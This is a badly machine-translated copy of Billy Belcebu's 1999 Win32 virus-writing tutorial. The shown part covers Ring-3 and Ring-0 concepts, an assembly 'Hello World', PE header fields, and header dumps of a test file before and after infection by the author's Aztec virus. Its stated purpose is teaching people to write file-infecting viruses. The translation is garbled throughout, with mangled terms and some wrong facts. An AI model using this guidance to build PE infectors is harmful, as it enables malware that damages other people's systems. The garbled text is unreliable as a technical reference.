BILLY BELCEB Virus Writing Tutorial --- Win32 Translation: Onlyu [Translator Declaration] ~~~~~~~~~~~ This is a tutorial about the basics of virus, the author Billy Belceb, Spanish, at the age of 16 This tutorial written, has created a viral organization DDT. Translation This tutorial is to unveil the mystery of viruses, learn viruses from the perspective of writing viruses, and hope to use it for everyone. Due to the original text for the English written by the Spanish, there are not many translators, English is just a contract, and the mistakes are also forgiven. If you find any improper in translation, welcome to correct, you can also compare the original. (Original in 29A # 4). Everyone knows that we will take off a case of a certain case with a certain case. In the end of the virus technology, it is those who compare the classic and comprehensive Win32 virus tutorial is the Billy Belceb written by this tutorial. Unfortunately no one has translated into Chinese, I as a big silly bird, I decided to translate it. I would like to dedicate to all Cracker and all people who are interested in Win32. Below is the original translation, I wish you good luck! [Declaration] ~~~~~~~ The author is not responsible for any loss caused by improper use of this document. The purpose of this tutorial is to teach people to write viruses and protect some damage to viruses. This tutorial is only as a teaching purpose. Therefore, if someone uses this article to prepare a large virus, I am not responsible. If you see this article you encourage people to destroy the data, go to buy the sub-glasses. [Introduction] ~~~~~~~ Dear comrades, everyone, do you still remember the Billy Belceb's virus writing tutorial? That is a tutorial for the Old MS-DOS virus. In that tutorial, I introduced a lot of famous DOS virus technology in step by step, and it was written for beginners and made them get started as soon as possible. Now, I wrote a tutorial that is cool (I hope), but this time I will introduce the new threat of the computer, Win32 virus, no doubt, all things are related to that. I found that a complete tutorial is very lacking, and I have asked myself ... Why don't I write a tutorial about this? So I wrote again :) Really in the pioneer of Win32 virus is VLAD organization, and the author writes in this way is Lord Julus. But I will not forget those who wrote a lot of fun tutorials, and all related things before Lord Julus's tutorial, of course I am talking about JHB. Interesting technology was studied by Murkry, later Jacky QWERTY ... I hope I have not forgotten important people in Win32 virus writing (very short). Note that I have never forgotten. Like a series of tutorials in my virus, I want to thank some music organizations, such as Blind Guardian, Hammerfall, Stratovarius, Rammsody, Marilyn Manson, Iron Maiden, Metallica, Iced Earth, Ramms Ein, Mago de oz, Avalanch, Fear Factory, Korn, Hamlet and Def Con DOS. All these things create a perfect atmosphere of a huge tutorial and code. Oh, my tutorial structure has already changed, now I give an index, almost all the code given, or based on others, but I have been adapted by me, or have a little delete ;), But,, I have worked hard to solve all the problems encountered in the MS-DOS (RIP) version of the MS-DOS (RIP) version of the currently extinct.
I have to say to Super / 29A, which he helped the tutorial in some aspects of this tutorial. He is one of my Beta testers, and he has contributed something to this tutorial. Description: English is not my mother tongue (Spanish is only) [Translator Note: So this Spanish virus tutorial is difficult to translate, please ask for forgiveness], so forgive me many spelling errors, please tell me, please let me know I will fix it. I have quoted an article that has been published in some separate virus magazines, but they are still worth reading. Because I have modified, I have a syntax check, and some additional information is added. Remember: This article is not perfect, so forgive the mistake in this tutorial. ---------- Contact me - E-mail billy_belcebu@hotmail.com billy_belcebu@cryogen.com -icq # 22290500 Home http://members.xOom.com/billy_bel&n...sp; http : //www.cryogen.com/billy_belcebu Organization Home http://sourceofkaos.com/homes/ddtirc [Billy_bel] Undernet #vir, Irc-Hispano #virus wishes happiness! Billy Belceb dreams from here ... (c) 1999 Billy BelceBu / IKX [index] ~~~~~~~ Some people have told me that when he read this tutorial Beta version, it has A little confusing because it is easy to lose between chapters. In any case, I have already reorganized this, I am still very confusing, and my tutorial is:) 01. Declaration 02. Introduction 03. Index 04. Useful things in the virus writing 05. Simple introduction 06.pe file header 07.ring-3, user-level code 08.Ring-0, system level code 09.per-process residency10.win32 optimized 11.win32 counter debug 12.Win32 polymorphism 13. Advanced Win32 Technology 14. Appendix 1: Virus episode 15 Appendix 2: About the author 16. Conclusion [Useful things in the virus prepared] ~~~~~~~~~~~~~~~~ Before you start writing a virus, you Need something. Here is the program I recommend it (if you don't have enough money to buy them ... download!) :) Windows 95 or Window NT or Windows 98 or Windows 3.x Win32S :) TASM 5.0 Pack (including Tasm32 and TLINK 32) Softice 3.23 (or better) for Win9x, and for winnt. API list (Win32.hlp) Windows95 DDK, Windows98 DDK, Windows2000 DDK ..., all Microsoft DDK and SDK. Matt Pietrek is highly recommended about the article on the PE file head. Jacky QWERTY's Pewrsec Tool (used when you add code in '.code').
Some Hash ... Oh, Shit! It is what I want! :) Some electronic magazines such as 29A (# 2, # 3), xine (# 2, # 3, # 4), VLAD (# 6), DDT (# 1) ... Some Windows viruses, such as Win32.cabanas, Win95.Padania, Win32.legacy ... Some Windows virus killing tools (strongly recommended NODICE32) -> www.set.sk neuromancer, by William Gibson, It is a good book. There is no doubt that this tutorial! I hope that I have not forgotten anything important. [Brief introduction] ~~~~~~~~~~~ Ok, began to put 16 MS-DOS coding concepts in your brain, charming 16-bit offset address, interrupt, resident memory method .. Clear. All of these have used things that have been used, and now they have never needed. Yes, they don't use it. In this tutorial, when I said Win32, I mean Windows 95 (Normal, OSR1, OSR2), Windows 98, Windows NT or Windows 3.x Win32s. The most obvious change, at least in I seem to become an API by the interrupt, which has changed from the 16-bit register and the offset address before this. Windows gives us a convenient door to use other languages, but I still have a unique moment to ASM: I can better understand some things and easier optimization (Hi Super!). As I said above, you must use a new east west called API. You must know that these parameters must be in the stack, and call these APIs to use Call. Note: Only, I called Win32 mentioned above, I called Win95 (all of its versions) and Win98 called Win9X, called Windows 2000 called Win2K. Please pay attention to this. % Changes from 16 to 32-bit programming% ~~~~~~~~~~~~~~~~~~~~~~~ We will use double words (DWORD) instead of single words (word ), And this change will give us a new world. In the known CS, DS, ES and SS: FS, GS, we have two paragraphs. And we have 32-bit registers such as EAX, EBX, ECX, EDX, ESI, EDI, EBP, and ESP. Let's take a look at how to do these registers: If we want to use Eax's Less Signify Word (LSW), what should we do? This section can use AX to access, that is, to process LSW. If eax = 0000000, we want to place 1234H in its LSW. We must use a "MOV AX, 1234H" as you can simply. But if we want to access the MSW (MOST SIGNIFICANT WORD)? In order to achieve this purpose, we cannot use a register: We must use rol. The problem is not here, it moves the MSW value to LSW. When we get a new language, we always try a classic example: "Hello World!":)% Of the Hello World% in Win32 ~~~~~~~~~~~~~~~ ~~~~~~ It is very simple, we must use "MessageBoxa" API, so we use the "extrn" command that you already know to define it, put the parameter stack and call this API. Note that this string must be ASCIIZ (ASCII, 0), remember that the parameters must be stacked in the opposite order.
; ------- From here start cutting ----------------------------------- --------------- .386; Processor (386 ) .Model flat; Uses 32 Bit Registers EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN EXTRN MessageBoxa: proc; -; Utilization "We will listed all APIs to be used in the program. EXITPROCESS is our use; control is given to the API of the operating system, while MessageBoxa is used to display a classic Windows message box. ; - .data Szmessage DB "Hello World!", 0; Message for Msgbox Sztitle DB "Win32 Rocks!", 0; Title of That Msgbox; ------------------ -------------------------------------------------- -------------------------------------------------- -------- Here we can't put the authentic virus data here, because this is an example, we can't; use it, and because we don't place some data here, TASM will refuse assembly. No matter how it ... use it to place data when you produce your viral main body.
; - .code; Here we go HelloWorld: push 00000000h; Sytle of MessageBox push offset szTitle; Title of MessageBox push offset szMessage; The message itself push 00000000h; Handle of owner call MessageBoxA; The API call itself; -----! --------------------------------------; int Messagebox (; hwnd hwnd, // handle of Owner Window; LPCTSTR LPTEXT, / / Address of Text In Message Box; LPCTSTR LPCAPTION, / / Address of Title of Message Box; Uint Utype // Style of Message Box ;;;; before calling this API, we press the parameters Stack, if you still remember, the stack uses that charming; something is called Li FO (then getting out of Last In First Out, we have to follow the opposite order; pressure parameters. Let's take a brief description of each parameter of this function: ;; hwnd: The sign of the message box will be created (Owner Window). If this parameter is NULL, this message box does not have a host window. LPText: Point points to the pointer to the string that will be displayed in the end of the empty character. LPCAPTION: Points to a string of a string ending with an empty character, this string is this; the title of the dialog. If this parameter is a NULL, the default title error is used. Utype: Determine the style and behavior of the dialog with some bit markers. This parameter can be a combination of some markers. ; - push 00000000h Call EXITPROCESS; -------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------- -----------------------; void exitprocess (; uint uexitcode // exit code for all threads;) ;; This function is equivalent to famous in the Win32 environment INT 20H, and INT 21H 00, 4C function, etc. It is a simple way to close the current process, that is, the end program is executed.
The unique parameter is given below: ;; UEXITCODE: The code exits the process and the code when all thread is terminated. Use; getExitCodeProcess function to refresh the exit value of this process. Use the getExitCodetThread; function to refresh the exit value of a thread. ; - end helloworld; ----- to here she cut --------------------------------- -------------------- Just as you can see, write code is simple. It may not be as simple as 16 in the 16-bit environment, but if you consider the advantages of 32-bit bringing us, it is really simple. Now, since you already know how to write "Hello World", you have the ability to infect the whole world;)% rings% ~~~~~~~ I know that you are very afraid of the things below, but just as I Demonstrate, it doesn't seem to be so difficult. Let us remember that you have to clear: the processor has 4 privilege levels: Ring-0, Ring-1, Ring-2 and Ring-3, the more limitations, the virus, if the virus uses the first There is no restriction at almost coding. Just remember under the charming DOS, we are always ring-0 ... now think of you can do the same thing under the Win32 platform ... Ok, stop fantasy, let us start working. Ring-3 also means "user" level, under this level, we have a lot of limitations, that does not need our needs. Microsoft programmers made a mistake when they release Win95, claiming that it is "unacceptable", as indicated before this operating system is sold, using terrible BIZATCH (later renamed Boza, but that is another A history of history). They think that these APIs cannot be accessed and used by a virus, but they didn't think of the super wisdom of the virus writers, so ... we can write a virus in user-level, there is no doubt that you only have to see a lot of recent new release. Win32 running period virus, they are all Ring-3 level ... They are not bad, don't misunderstand me, Ring-3 viruses are now possible to infect all the viruses in all Win32 environments. They are the future ... mainly because of the upcoming Windows NT 5.0 (or Windows 2000). We have to find a virus that can make our virus (virus propagation generated by BIZATCH because it "Harcoded" on the API address, and they may change from the Windows version change) API, and we can use other different The method is realized, as explained later. Ring-0 is another historical, and the RING-3 has a great difference. At this level, we have the level of kernel coding, "kernel level". Is it very charming? We can access the port and place our code that we haven't dreams ... and the original compilation closest. We don't use some known tricks that cannot directly access some things, such as IDT modification, "Call Gate" technology published in 29A # 3, or VMM in Padania or Fuck Harry virus technology. When we use VXD's services, we don't need API, and their address is assumed in all Win9x systems, so we "hardcode". I will discuss in the chapter of Fully Dedicated to Ring-0.
% Important things% ~~~~~~~~~~~~ I think I should put it on this tutorial, but I know that I know I don't know better :) Ok, let us To discuss things inside the Win32 operating system. First, you must clear some concepts. Let us start from Selector. What is a SELECTOR? Quite simple, it is a very large paragraph, and it constitutes Win32 memory, namely flat memory. We can use 4G memory (4,294,967,295 bytes), only by using a 32-bit address. How do all these memory organized? Take a look at the schematic below: __________________________________ 000000000000H <-> 3ffffffH | Application Code and Data || __________________________________ _et = 40000000H <-> 7FFFFFFH | Shared Memory || __________________________ || | <----- Offset = 80000000H <-> BFFFFFFH | Core || _________________________ = c0000000h <-> fffffffh | Drive || __________________________ | Result: We have 4G available memory. Is it very charming? Note that one thing: After the WinNT is separated. Now I will give some definitions you have to know, some of the other concepts outside this article, I assume that you already know. VA: VA represents Virtual Address, which is the address of some programs, but in memory (remember in memory in memory and on disk). RVA: RVA represents Relative Virtual Address. It is important that this concept is important, and RVA is an offset address when the file is mapping (by you or by the system). Raw Data: Raw Data is the storage of us to indicate data physics, that is, stored on disk (data on disk! = Data in memory). Virtual Data: Virtual Data means that those that have been loaded into memory. File mapping: A technique, in all Win32 environments, composed of a fast (and use less memory) file operation method and method more easily understood than DOS. All we have changed in memory, will also change on the disk. File mapping or unique ways of exchange information between memory between Win32 environments (or even NT).
% To compile things% ~~~~~~~~~~~~~~~~ dam, I almost forgot this :) Compile a normal parameter for a Win32 ASM program, at least in all examples of this tutorial Press as follows (when the name of the ASM file is 'program', there is no extension): Tasm32 / M3 / ml Program ,; TLINK32 / TPE / AA Program, Program, Import32.lib pewrsec program.exe I hope enough Clear. You can also use makefiles, or create a BAT file to make it complete (just like I do!). [PE file head] ~~~~~~~~~~ This is the most important chapter of this document. Read well! % Introduction% ~~~~~~ It is very important to write our Windows virus to the PE header. Below I will give something that I think is important, but not about all the information about the PE file, I want to know more things, see if I have recommended information on PE files, "useful things ... "This chapter.
_______________________________ | | <----- OFFSET = 00000000h | DOS stub || _______________________________ || | <----- OFFSET = [DOS Stub 3Ch] | PE stuff || _______________________________ | let us be the two most in-depth analysis, let's look at Micheal J. O'Leary schematic: __________________________________ | | <---- Base of Image header | DOS compatible EXE header | - || __________________________________ | || | || Unused | || __________________________________ | || | || OEM identifier | || __________________________________ | || | || OEM info | | -> Uninteresting (DOS Compatibility) | __________________________________ | || | || Offset to PE Header | -----> Very intending | _______________ ___________________ | || | || DOS Stub program and reloc table | || __________________________________ | || | || Unused | __ || __________________________________ || || PE header (IMAGE_FILE_HEADER) | - || __________________________________ | || | || PE Header | || __________________________________ | |
Very Very Interesting:) | | || Section Table | || __________________________________ | || | | || Complex), our new goal. OK, OK, you have a "general" understanding of those east west, but you still need to know the internal structure of Image_File_Header itself in the PE file header. Lee your trousers! IMAGE_FILE_HEADER ^^^^^^^^^^^^^^^^^ ________________________________ | "PE / 0/0" | <---- 00000000h | ________________________________ | Size: 1 DWORD | Machine | <---- 00000004h | ________________________________ | Size: 1 WORD | Number Of Section | <---- 00000006h | ________________________________ | Size: 1 WORD | Time Date Stamp | <---- 00000008h | ________________________________ | Size: 1 DWORD | pointer To Symbol Table | <---- 0000000Ch | ________________________________ | Size: 1 DWORD | Number Of Symbols | <---- 00000010h | ________________________________ | Size: 1 DWORD | Size Of Optional Header | <---- 000000014h | ________________________________ | Size: 1 WORD | Characteristics | <---- 000000016h | ________________________________ | Size: 1 WORD Total Size: 18h BYTES I will continue to give a brief description of the various fields of IMAGE_FILE_HEADER. PE / 0/0: It is a flag of each PE file, as long as it is checked if it is writing your infection.
If it is there, it is not a PE file, OK? Machine: Because the ideal we use can be a non-PC compatible (NT has an open level for these things, you know), but because PE files is common in this field the type of machine the application is written in the code may be the following values: IMAGE_FILE_MACHINE_I386 equ 14Ch; Intel 386. IMAGE_FILE_MACHINE_R3000 equ 162h; MIPS little-endian, 160h big-endian IMAGE_FILE_MACHINE_R4000 equ 166h; MIPS little-endian IMAGE_FILE_MACHINE_R10000 equ 168h; MIPS little-endian IMAGE_FILE_MACHINE_ALPHA equ 184h; Alpha_AXP IMAGE_FILE_MACHINE_POWERPC equ 1F0h; IBM PowerPC Little-endian Number of sections: the program is very important domain of our infection, which tells the section (section) of our files Number. Time Date Stamp: Saves the number of seconds from 1969.10.31 4:00 to the file connection. Pointer to Symbol Table: Bless because it is only used by the OBJ file. Number of symbols: Bless because it is only used by the OBJ file. Size of Optional Header: Save the number of bytes in the image_optional_header domain (see the description of Image_Optional_Header below). Characteristics: These logos give us more information about this document, which is not interesting to all of us.
IMAGE_OPTIONAL_HEADER ^^^^^^^^^^^^^^^^^^^^^ ________________________________ | Magic | <---- 00000018h | ________________________________ | Size: 1 WORD | Major Linker Version | <---- 0000001Ah | ________________________________ | Size: 1 BYTE | Minor Linker Version | <---- 0000001Bh | ________________________________ | Size: 1 BYTE | Size Of Code | <---- 0000001Ch | ________________________________ | Size: 1 DWORD | Size Of Initialized Data | <---- 00000020h | ________________________________ | Size: 1 DWORD | Size of UnInitialized Data | <---- 00000024h | ________________________________ | Size: 1 DWORD | Address of Entry Point | <---- 00000028h | ________________________________ | Size: 1 DWORD | Base Of Code | <---- 0000002Ch | ________________________________ | Size: 1 DWORD | Base Of Data | <---- 00000030h | ________________________________ | Size: 1 DWORD | Image Base | <---- 00000034h | ________________________________ | Size: 1 DWORD | Section ALignment | <---- 00000038h | ________________________________ | Size: 1 DWORD | File Alignment | <---- 0000003Ch | ________________________________ | Size : 1 DWORD | Major Operating System Version | <---- 00000040h | ________________________________ | Size: 1 WORD | Minor Operating System Version | <---- 00000042h | ________________________________ | Size: 1 WORD | Major Image Version | <- ---
00000044h | ________________________________ | Size: 1 WORD | Minor Image Version | <---- 00000046h | ________________________________ | Size: 1 WORD | Major Subsystem Version | <---- 00000048h | ________________________________ | Size: 1 WORD | Minor Subsystem Version | <---- 0000004Ah | ________________________________ | Size: 1 WORD | Reserved1 | <---- 0000004Ch | ________________________________ | Size: 1 DWORD | Size Of Headers | <---- 00000050h | ________________________________ | Size: 1 DWORD | CheckSum | <---- 00000054h | ________________________________ | Size: 1 DWORD | SubSystem | <---- 00000058h | ________________________________ | Size: 1 DWORD | Dll Characteristics | <---- 0000005Eh | ________________________________ | Size : 1 Word | SIZE OF Stack Reserve | <---- 00000060H | _______________________________ | size: 1 DWORD | SIZE OF Stack Commit | <---- 00000064h | ________________________________ | Size: 1 DWORD | Size OF Heap Reserve | <---- 00000068h | ________________________________ | Size: 1 DWORD | Size Of Heap Commit | <---- 0000006Ch | ________________________________ | Size: 1 DWORD | Loader Flags | <---- 00000070h | ________________________________ | Size: 1 DWORD | Number Of Rva And Sizes | <---- 00000074h | ________________________________ | Size: 1 DWORD Total Size: 78h BYTES (coupled with image_file_header ^^^^^^^^^^) MAGIC: It looks always 010bh,
In fact, we will think it is a signature, not meaning. Major Linker Version and Minor Linker Version: The version of the loop that produces this file is not meaningful. SIZE OF CODE: It is the total number of bytes that contain segments that can perform code. SIZE OF INITIALIZED DATA: It is all the total size of the segment containing the initial data. SIZE OF Uninitialized Data is not initial data does not account for disk space, but when the system is loaded, it assigns some memory (actually virtual memory). Address of entryPoint: It is where the loader starts executing the code. It is a RVA that is related to Image Base when the system is loaded. very interesting. Base of code: RVA starting with the CODE segment of the file. The CODE segment is usually behind the PE file head before the DATA segment is usually in the memory. This RVA is usually 0x1000 in the EXE file generated by Microsoft connectors. Borland's TLINK32 looks to the image base to the RVA of the first CODE segment and store the result in this domain. Base of data: is the RVA starting with the DATA segment of the file, and the DAT segment is usually in the last memory, after the PE file header and the CODE segment. Image Base: When the connector creates an executable file, it will assume that the memory will be mapped to a memory. This address is saved in this domain, assumes a load address to allow the link to optimize. If this file is indeed mapped to that address by the loader memory, it does not need any patches before it can run. In the executable generated for Windows NT, the default image base is 0x10000. For DLL, the default is 0x400000. In WIN9X, address 0x10000 cannot be used to load the EXE file because it is in the shared address of all processes. Because of this, Microsoft will change Win32's default image base to 0x400000. Old executable to the base 0x10000 will take longer under Win9X, because the loader needs to be subicedically positioned. Section Alignment: When mapped to memory, each section must ensure that the virtual address of this value is the start address. The default section alignment is 0x1000 when pressing the page. File AlingNment: In the PE file, the original data constituting each section must ensure that the multiple of this value begins. The default value is 0x200 bytes, which may be to ensure that the sections always start with disk sections (DISK sector, its length is also 0x200). This domain is medium-priced in the Ne file in Segment / Resource Alignment. Unlike the NE file, PE files usually do not have hundreds of sections, so the space wasteful because of the sections of the file is almost very small. Major Operating System Version and Minor Operating System Version: Using this type of executable of the minimum version number of the operating system. Since the Subsystem Fields looks like it looks like it, this domain is a bit ribs. This field is default 1.0 in all Win32 EXE files. Major Image Version: It is a user-definable domain that allows you to have different versions of EXE or DLL. You can set this domain through the tattoo / Version switch. Such as: "Link /Version: 2.0 muobj.obj".
Major Subsystem Version and Minor Subsystem Version: The minimum subsystem version that is required to run this executable. A classic value in this domain is 3.10 (meaning Windows NT 3.1). Reserved1: It looks always 0 (the most infected mark is too perfect). Size of Headers: The size and section (object) table of the PE file header. The original data of these sections begins after all of these file headers. Checksum: CRC check value for this file. As in other Microsoft executable formats, this domain is ignored and is always set to 0. This rule must have legal verification values. Subsystem: The type of subsystem of these executable files is used by the user interface. WINNT.h defines the following values: NATIVE 1 Does not require a subsystem (such as a device driver) WINDOWS_GUI 2 Runs in the Windows GUI subsystem WINDOWS_CUI 3 Runs in the Windows character subsystem (console app) OS2_CUI 5 Runs in the OS / 2 Character Subsystem (OS / 2 1.x Only) POSIX_CUI 7 Runs in the POSIX Character Subsystem A flag set indicated that a DLL initial function (such as dllmain) in what environment will be called. This value looks always set to 0, but the operating system still calls the DLL initial function for all four events. The following is the value defined: 1 Call 2 when the DL is loaded into an address space of a process 2 When a thread is terminated, call 3 When a thread is started, call 4 When the DLL already presents, SIZE OF Stack Reserve: is initial The number of virtual memory retained by threads, but not all memory can be done (see a domain). The default value of this domain is 0x100000 (1MB). If you use CreateThread to use 0 as the size of the stack, the created stack will have the same size. SIZE OF Stack Commits: Makes the amount of memory when the initial thread is in the stack. The initial value of this domain for Microsoft's link is 0x1000 bytes (1 page) and TLINK32 is 2 pages. Size of Heap RESERVE: The virtual memory used to reserve the initial process stack can be obtained by calling the getProcessHeap function. You cannot guarantee all memory (see a domain). Size of Heap Commit: The number of memory during the process stack. The default is 1 page. Loader Flags: From Winnt.h, this domain and debug support are related. I haven't seen any of these valid executables, nor did it see that these bits are emptied. How to set them with a connection, the following is the value defined: 1 Wake a breakpoint instruction before starting the process 2 When the process has been loaded, wake up a debugger Number of RVA and SIZES: DataDirectory array (below) port number This value is always set to 16 with the current tool.
IMAGE_SECTION_HEADER ^^^^^^^^^^^^^^^^^^^^ _____________________________ | Section Name | <----- Begin of section header | _____________________________ | Size: 8 BYTES | Virtual Size | <- --- 00000008h | _____________________________ | Size: 1 DWORD | Virtual Address | <----- 0000000Ch | _____________________________ | Size: 1 DWORD | Size Of Raw Data | <----- 00000010h | _____________________________ | Size: 1 DWORD | Pointer To Raw Data | <----- 00000014h | _____________________________ | Size: 1 DWORD | Pointer To Relocations | <----- 00000018h | _____________________________ | Size: 1 DWORD | Pointer To Line Numbers | < ----- 0000001Ch | _____________________________ | Size: 1 DWORD | Number Of Relocations | <----- 00000020h | _____________________________ | Size: 1 WORD | Number Of Line Numbers | <----- 00000022h | _____________________________ | SIZE: 1 Word | Characteristics | <----- 00000024H | ___________________________________________________________________________ | size: 1 DWORD TOTAL SIZE: 28H BYTESSECTION NAME: Named section is a 8-Byte's ANSI name (non-Unicode), most of the names are in one. (Such as ".text") Start, but this is not necessary, you can verify this in some articles about PE. You can use the assembly language to name your section, or use "#pragma Data_Seg" and "Pragma Code_Seg" in the Microsoft C / C compiler. Note that the section is important for 8 bytes, no NULL terminator. If you are a personal love, you can use% .8s to avoid copying the name string to another. You can use null to terminate the buffer. Virtual Size: This domain has a different meaning in EXE or OBJ. In an EXE, it stores the actual size of the code or the data. This size is the size before the file is completed to the file alignment size. The following SizeOfrawData field (it looks a little inappropriate) stores the value after it is. Borland's connector turned over the two domains, it looks correct. For the OBJ file, this domain represents the physical address of the section. The first section starts from address 0.
In order to find the physical address of the next section in an OBJ file, the physical address of the current section plus the sizeofrawdata value is OK. Virtual Address: In EXE, this domain refers to the RVA that maps the section. In order to calculate a given section of the real start address in the memory, the base address of the image is stored in this domain. With Microsoft tools, the default RVA of the first section is 0x1000. In the OBJ file, this domain is unbelievable and set to 0. Size of Raw Data: In EXE, this domain contains the size of the section behind the size of the file. For example, suppose the alignment of a file is 0x200, if the length of the above VirtualSize domain is 0x35a, this domain will be used as a throttle in 0x400. In the OBJ file, this domain contains the exact size set by the compiler or assembler. That is, for the OBJ file, it is equal to the value of the VirtualSize domain in the exe. Pointer to Raw Data: This is the offset of the section, and the original data is set by the compiler or assembler. This domain is important if your program memory is mapped with a PE file or the Coff file itself (instead of loading it). This domain is important than the VirtualAddress domain. In this case, you will have a fully line file map, so you will find the data in this offset address, not the specific RVA at VirtualAddress. Pointer to relocations In the OBJ file, this is the repositioning information of the file-based offset, and the relocation information of each section is directly followed by the original data of that section. This domain (and subdomain) is meaningless and set to 0 in the exe file. When the connector generates an EXE file, it solves most of the correction issues, only the base address is locked and the input function. Information about the base focus and input functions is saved in their own section, so there is no need to make the relocation data of each section of an EXE file in the original section data. Pointer to Line Numbers: This is the offset of the file-based quaum table, and the line number table is associated with the line number of the source file and the code address generated by a given row. In modern debug formats, such as the CodeView format, the line number information is stored as part of the debug information. In the COFF debug format, however, the line number information is stored separately from the symbolic name / symbol type. Typically, only the CODE festival (such as .text) has a line number. In the EXE file, the line number is the tail of the file after the RAW DATA (raw data) of the section. In the OBJ file, the line number table of a section begins after the original section data and the relocation table of this section. Number of relocations: The value of the line number in the quotes table (the PointertolinenumBers field above). CHARACTERISTICS: Most programmers are called flags, called Characterstes in the COFF / PE format. This domain is some surface feature (such as code / data, readable, or writable) flags. To see a list of all possible feature properties, see image_scn_xxx_xxx defined in Winnt.h. Here are some of the more important signs: 0x00000020 This section contains code. Usually and the executable flag (0x80000000) joint settings. 0x00000040 This section contains initialized data (Initialized Data). Almost all the festivals outside the executable and .BSS section have this sign. 0x00000080 This section contains uninitialized data, such as .bss section. 0x00000200 This section contains some comments or some other types of information.
A typical use of this section is the .dRectVe section set by the compiler, this section contains the command of the connector. The content of the 0x00000800 section should not be placed in the final EXE file. These sections are used by the compiler / assembler to deliver information to the connector. 0x02000000 After it is loaded, the process no longer needs it, this section can be discarded. The most commonly discarded section is the base station (.Reloc). 0x10000000 This section is shared. When using a DLL, the data in this section will be shared by the DLL. The default of the data section is not shared. With a more professional term, a shared festival tells the memory manager to set the page mapping of this section so that all processes that use this DLL point to the same physical page in memory. To make a section, use the Shared property when connecting. Such as: Link / Section: MyData, RWS ... Just tell the connector a section called MyData is readable, writable, and shared. 0x20000000 This section is executable. This flag is typically set after the "included code" flag (0x00000020) is set. 0x40000000 This section is readable. This flag is set in almost all of the EXE files. 0x80000000 This section is writable. If this flag is not set in the section of an EXE file, the loader flags the memory map page is read-only or can only be executed. A typical section with this property is .data and .bss. Interestingly, .idata section also sets this property. % To change something% ~~~~~~~~~~~~~~ below, I will introduce some changes when writing a normal PE virus. Suppose you want to write a virus that will increase the last section of the PE file, this is more easier to successfully succeed, however adds a section. Let's take a look at how a virus changes to a header of an executable file. I use the INFO-PE program of Lord Julus [SLAM].
-------- DOS INFORMATION -------------------------- ----------- Analyzed file: Goat: Goat002.EXE DOS REPORTS:? File Size - 2000H (08192D)? File Time - 17:19:46 (HH: mm: ss)? File Date - 11 / 06/1999 (DD / MM / YY)? Attributes: Archive [...] -------- PE Header --------------------- ------------------------------------- - ‖o_dos | o_pe ‖ (Offset from DOS Header / PE Header ------ | ------ ‖ | 0100H | 0000H | PE Header Signature - PE / 0/0 | 0104H | 0004H | The Machine for this EX IS Intel 386 (Value = 014CH) | 0106H | 0006H | Number of Sections in The File - 0004H | 0108H | 0008H | File Was Linked At: 23/03/2049 | 010CH | 000CH | Pointer To Symbol Table: 00000000H | 0110H | 0010H | Number of Symbols: 00000000H | 0114H | 0014H | Size of the Optional Header: 00E0H | | | | 0116H | 0016H | File Characteristics - 818EH: |? | | File is executable | | | Line numbers stripped? From file | | |? Local symbols stripped from file | | |? BYTES of Machine Word Are REVERSED | | |? 32 Bit Word Machine | | |? BYTES of Machine Word Arented ‖ _______ | _____ ‖ -------- PE Optional header --------------------------------- - ‖o_dos | o_pe ‖ (Offset from DOS Header / PE Header ------ | ------ ‖ | 0118H | 0018H | Magic Value: 010bh (`θ`
) 011AH | 001AH | Major Linker Version: 2 | 011bh | 001BH | MINOR Linker version: 25 | | | Linker version: 2.25 | 011ch | 00001200H | 0120H | 0020H | SIZE OF INITIZED DATA: 00000600H | 0124H | 0024H | Size of uninitialized Data: 00000000H | 0128H | 0028H | Address of entry Point: 00001000H | 012CH | 002CH | Base of code (.text OFS): 00001000H | 0130H | 0030H | Base of Data (.bss OFS. ): 00003000H | 0134H | 0034H | Image Base: 00400000H | 0138H | 0038H | Section Alignment: 00001000H | 013CH | 003CH | File Alignment: 00000200H | 0140H | 0040H | Major Operating System Version: 1 | 0142H | 0042H | Minor Operating System Version : 0 | 0144H | 0044H | Major Image Version: 0 | 0146H | 0046H | Minor Image Version: 0 | 0148H | 0048H | Major Subsystem Version: 3 | 014AH | 004AH | Minor Subsystem Version: 10 | 014CH | 004ch | Reserved long: 000 00000H | 0150H | 0050H | Size of Image: 00006000H | 0154H | 0054H | Size of Headers: 00000400H | 0158H | 0058H | File Checksum: 00000000H | 015CH | 005CH | SubSystem: 2 | | | Image runs in the Windows GUI subsystem | 015EH | 005EH | DLL Characteristics: 0000H | 0160H | 0060H | Size of Stack Reserve: 00100000H | 0164H | 0064H | Size of Stack Commit: 00002000H | 0168H | 0068H | Size of Heap Reserve: 00100000H | 016CH | 006CH | Size of Heap Commit: 00001000H | 0170H | 0070H | Loader Flags: 00000000H | 0174H | 0074H | Number Directories:
00000010h [...] ------- PE section Headers --------------------------------- -------------------------- ‖O_DOS | O_PE (Offset from dos header / pehader "------ | --- ‖ [...] | 0270H | 0170H | Section name: .reloc | 0278H | 0178H | Physical address: 00001000H | 027CH | 017CH | Virtual Address: 00005000H | 0280H | 0180H | SIZE OF RAW DATA: 00000200H | 0284H | 0184H | Pointer to RAW data: 00001C00H | 0288H | 0188H | Pointer to relocations: 00000000H | 028CH | 018CH | Pointer to line numbers: 00000000H | 0290H | 0190H | Number of Relocations: 0000H | 0292H | 0192H | Number of line numbers: 0000h | 0294H | 0194H | CHARACTERISTICS: 50000040H | | | | | | | | | | | | | | | | | ______ | ______ ‖ This is a normal file, no Infection. The following is the same file, but is infected by my Aztec virus (a Ring-3 viral example, look below) infected. ----------- DOS Information ------- ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------- Analyzed File: Goat002.exe DOS Reports:? File Size - 2600H (09728D)? File Time - 23:20:58 (HH: mm : ss)? File Date - 22/06/1999 (DD / MM / YY)? Attributes: Archive [...] -------------- PE Header ------ -------------------------------------------------- ----------------------- ‖o_dos | o_pe ‖ (offset from dos header / peeader "------- | -‖ [...] | 0100H | 0000H | PE Header Signature - PE / 0/0 | 0104H | 0004H | The Machine for this EXE IS Intel 386 (Value =
014CH | 0106H | 0006H | Number of Sections in The File - 0004H | 0108H | 0008H | File Was Linked AT: 23/03/2049 | 010CH | 000CH | Pointer to Symbol Table: 00000000H | 0110H | 0010H | Number of Symbols: 00000000H | 0114H | 0014H | Size of the Optional Header: 00E0H | | | | 0116H | 0016H | File Characteristics - 818EH: |? | | File is executable | | | Line numbers stripped from file | | | Local symbols stripped from?? FILE | | |? BYTES of Machine Word Are Reverse | | |? 32 Bit Word Machine | | |?
